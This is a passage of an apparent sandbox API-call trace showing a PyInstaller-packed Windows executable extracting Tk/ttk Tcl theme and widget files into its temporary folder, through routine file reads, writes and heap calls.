(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.876] GetFileType (hFile=0x10c) returned 0x1 [0044.876] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.876] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.876] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.876] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.876] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.876] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.876] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.876] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.876] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.876] CloseHandle (hObject=0x10c) returned 1 [0044.876] GetLastError () returned 0x0 [0044.876] SetLastError (dwErrCode=0x0) [0044.876] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\clamTheme.tcl") returned 66 [0044.876] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\clamTheme.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\clamtheme.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.876] GetLastError () returned 0x2 [0044.876] SetLastError (dwErrCode=0x2) [0044.876] GetLastError () returned 0x2 [0044.876] SetLastError (dwErrCode=0x2) [0044.876] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\clamTheme.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\clamTheme.tcl", lpFilePart=0x0) returned 0x41 [0044.876] GetLastError () returned 0x2 [0044.876] SetLastError (dwErrCode=0x2) [0044.876] GetLastError () returned 0x2 [0044.876] SetLastError (dwErrCode=0x2) [0044.877] GetLastError () returned 0x2 [0044.877] SetLastError (dwErrCode=0x2) [0044.877] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\clamTheme.tcl") returned 66 [0044.877] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.877] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\clamTheme.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\clamtheme.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.877] GetFileType (hFile=0x10c) returned 0x1 [0044.877] htonl (hostlong=0xa5100000) returned 0x10a5 [0044.877] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.878] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.878] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xa5, lpOverlapped=0x0) returned 1 [0044.878] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.878] CloseHandle (hObject=0x10c) returned 1 [0044.878] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.878] htonl (hostlong=0x30000000) returned 0x30 [0044.878] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.878] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.878] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.878] GetFileType (hFile=0x10c) returned 0x1 [0044.878] htonl (hostlong=0xf92b6000) returned 0x602bf9 [0044.878] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x64dbf9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.878] htonl (hostlong=0xe5030000) returned 0x3e5 [0044.878] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3e5) returned 0x550600 [0044.879] htonl (hostlong=0xe5030000) returned 0x3e5 [0044.879] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.879] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.879] htonl (hostlong=0xc00d0000) returned 0xdc0 [0044.879] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xdc0) returned 0x55e278 [0044.879] htonl (hostlong=0xe5030000) returned 0x3e5 [0044.879] htonl (hostlong=0xc00d0000) returned 0xdc0 [0044.879] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.879] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.879] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.879] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.879] CloseHandle (hObject=0x10c) returned 1 [0044.879] GetLastError () returned 0x0 [0044.879] SetLastError (dwErrCode=0x0) [0044.879] GetLastError () returned 0x0 [0044.879] SetLastError (dwErrCode=0x0) [0044.879] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.879] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.879] GetFileType (hFile=0x10c) returned 0x1 [0044.879] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.879] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.879] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.879] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.879] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.879] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.879] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.879] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.880] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.880] CloseHandle (hObject=0x10c) returned 1 [0044.880] GetLastError () returned 0x0 [0044.880] SetLastError (dwErrCode=0x0) [0044.880] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.880] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.880] GetFileType (hFile=0x10c) returned 0x1 [0044.880] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.880] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.880] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.880] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.880] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.880] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.880] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.880] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.880] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.880] CloseHandle (hObject=0x10c) returned 1 [0044.880] GetLastError () returned 0x0 [0044.880] SetLastError (dwErrCode=0x0) [0044.880] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\classicTheme.tcl") returned 69 [0044.880] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\classicTheme.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\classictheme.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.880] GetLastError () returned 0x2 [0044.880] SetLastError (dwErrCode=0x2) [0044.880] GetLastError () returned 0x2 [0044.881] SetLastError (dwErrCode=0x2) [0044.881] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\classicTheme.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\classicTheme.tcl", lpFilePart=0x0) returned 0x44 [0044.881] GetLastError () returned 0x2 [0044.881] SetLastError (dwErrCode=0x2) [0044.881] GetLastError () returned 0x2 [0044.881] SetLastError (dwErrCode=0x2) [0044.881] GetLastError () returned 0x2 [0044.881] SetLastError (dwErrCode=0x2) [0044.881] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\classicTheme.tcl") returned 69 [0044.881] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.881] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\classicTheme.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\classictheme.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.883] GetFileType (hFile=0x10c) returned 0x1 [0044.883] htonl (hostlong=0xc00d0000) returned 0xdc0 [0044.883] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.883] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xdc0, lpOverlapped=0x0) returned 1 [0044.889] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.889] CloseHandle (hObject=0x10c) returned 1 [0044.890] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.890] htonl (hostlong=0x30000000) returned 0x30 [0044.890] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.890] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.890] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.890] GetFileType (hFile=0x10c) returned 0x1 [0044.890] htonl (hostlong=0xde2f6000) returned 0x602fde [0044.890] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x64dfde, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.890] htonl (hostlong=0x1a100000) returned 0x101a [0044.890] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x101a) returned 0x561090 [0044.890] htonl (hostlong=0x1a100000) returned 0x101a [0044.890] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0044.890] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x5620b8 [0044.890] ReadFile (in: hFile=0x10c, lpBuffer=0x5620b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x5620b8*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.890] htonl (hostlong=0x6a300000) returned 0x306a [0044.890] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x306a) returned 0x5630c0 [0044.890] htonl (hostlong=0x1a100000) returned 0x101a [0044.890] htonl (hostlong=0x6a300000) returned 0x306a [0044.890] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x566138 [0044.891] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x566138 | out: hHeap=0x530000) returned 1 [0044.891] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.891] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5620b8 | out: hHeap=0x530000) returned 1 [0044.891] CloseHandle (hObject=0x10c) returned 1 [0044.891] GetLastError () returned 0x0 [0044.891] SetLastError (dwErrCode=0x0) [0044.891] GetLastError () returned 0x0 [0044.891] SetLastError (dwErrCode=0x0) [0044.891] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.891] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.891] GetFileType (hFile=0x10c) returned 0x1 [0044.891] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.891] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.891] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.891] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.891] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.891] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.891] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.891] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.891] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.891] CloseHandle (hObject=0x10c) returned 1 [0044.891] GetLastError () returned 0x0 [0044.891] SetLastError (dwErrCode=0x0) [0044.892] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.892] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.892] GetFileType (hFile=0x10c) returned 0x1 [0044.892] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.892] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.892] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.892] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.892] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.892] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.892] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.892] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.892] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.892] CloseHandle (hObject=0x10c) returned 1 [0044.892] GetLastError () returned 0x0 [0044.892] SetLastError (dwErrCode=0x0) [0044.892] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\combobox.tcl") returned 65 [0044.892] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\combobox.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\combobox.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.892] GetLastError () returned 0x2 [0044.892] SetLastError (dwErrCode=0x2) [0044.892] GetLastError () returned 0x2 [0044.892] SetLastError (dwErrCode=0x2) [0044.892] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\combobox.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\combobox.tcl", lpFilePart=0x0) returned 0x40 [0044.892] GetLastError () returned 0x2 [0044.892] SetLastError (dwErrCode=0x2) [0044.892] GetLastError () returned 0x2 [0044.893] SetLastError (dwErrCode=0x2) [0044.893] GetLastError () returned 0x2 [0044.893] SetLastError (dwErrCode=0x2) [0044.893] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\combobox.tcl") returned 65 [0044.893] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.893] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\combobox.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\combobox.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.893] GetFileType (hFile=0x10c) returned 0x1 [0044.894] htonl (hostlong=0x6a300000) returned 0x306a [0044.894] WriteFile (in: hFile=0x10c, lpBuffer=0x5630c0*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x5630c0*, lpNumberOfBytesWritten=0x4fcd00*=0x3000, lpOverlapped=0x0) returned 1 [0044.895] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.895] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x6a, lpOverlapped=0x0) returned 1 [0044.895] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.895] CloseHandle (hObject=0x10c) returned 1 [0044.895] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5630c0 | out: hHeap=0x530000) returned 1 [0044.896] htonl (hostlong=0x30000000) returned 0x30 [0044.896] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: 